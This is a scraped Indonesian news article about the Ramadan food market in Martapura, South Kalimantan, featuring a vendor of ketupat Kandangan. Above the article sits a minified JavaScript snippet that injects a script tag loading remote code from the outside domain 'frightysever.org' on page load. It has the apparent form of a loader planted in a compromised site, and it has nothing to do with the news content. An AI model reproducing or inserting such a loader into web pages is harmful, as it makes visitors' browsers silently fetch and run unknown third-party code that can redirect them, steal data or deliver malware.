(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ketupat Kandangan Mama Ati Jadi Incaran di Pasar Ramadhan Martapura

KANALKALIMANTAN.COM, MARTAPURA – Menu buka puasa hingga lauk pauk yang menggoda selera makan tersedia di pasar Ramadhan di kawasan Alun-alun RTH Ratu Zalecha Martapura, Kabupaten Banjar.

Menjelang berbuka puasa pertama di tahun ini, banyak warga yang mendatangi areal pasar yang sering disebut Pasar Wadai untuk belanja berbagai menu berbuka.

Pada hari pertama Kamis (23/3/2023), meski belum resmi dibuka, warga berdatangan lebih awal ke lokasi Pasar Ramadhan.

“Pengalaman tahun sebelumnya, karen baru selesai pandemi kan jadi kita datang awal takut tambah banyak pembelinya,” ujar Thoriq, salah satu pengunjung pertama di Pasar Ramadhan Martapura saat diwawancarai, Kamis (23/3/2023) sore.

Thoriq yang datang sebelum salat Azhar itu pun mengaku, makanan dan minuman yang dijual banyak ragamnya, meski stan yang didirikan terbilang cukup sedikit yakni 44 stan.

Dari 44 stan yang berdiri itu, terlihat berbagai macam menu buka puasa sepeti kue, juga ada berbagai jenis makanan dan minuman untuk berbuka. Rata-rata yang dijual ialah menu khas daerah Banjar.

Siti Aminah dengan jualannya, pada Kamis (23/3/2023) sore nampak diserbu pembeli. Ternyata dirinya menjual makanan khas Kandangan yaitu ketupat Kandangan.

“Kita sudah langganan setiap tahunnya di Pasar Wadai Martapura ini, dan kebetulan ketupat Kandangan kita itu turun menurun dari ibu saya yang asli dari Kandangan,” ungkap Siti Aminah, pedagang ketupat Kandangan di Pasar Wadai Martapura.

Setiap bulan puasa, Aminah mengatakan selalu menyiapkan porsi ketupat Kandangan yang lebih besar dari pada hari biasa.

Adapun pada hari biasa, Aminah menjalankan usaha warung ketupat Kandangan miliknya yang berada di kawasan Warung Kuliner yang berada persis di belakang pertokoan CBS Martapura.

“Untuk hari ini total kita siapkan sekitar 100 porsi ketupat Kandangan dengan lauk iwak haruan dan telur dan itu masih porsi sedang, nanti saat beberapa hari jalan puasa akan terus kita naikan porsinya karena akan banyak pembelinya,” sebutnya.

Saat stan ketupat Kandangan miliknya dibuka saja, ada sekitar puluhan porsi telah diterima pesanannya oleh Siti Aminah yang berjualan bersama suaminya.

“Nama warungnya Mama Ati, jadi itu warung ibu saya dulunya dan namanya gak diganti biar para langganan pada tahu, biasa bukanya di Warung Kuliner Martapura meja nomor 8,” tambahnya.

Adapun menu takjil dan lauk pauk yang beraneka ragam itu dijual dengan harga yang bervariasi, mulai dari Rp 5 ribuan, kemudian Rp 10 ribu hingga Rp 20 ribuan ke atas.

Tentu dengan harga yang terjangkau, para pemburu takjil sudah dapat menikmati manis dan gurihnya menu khas Banjar saat buka puasa nanti. (kanalkalimantan.con/wanda)

Reporter: wanda
Editor: cell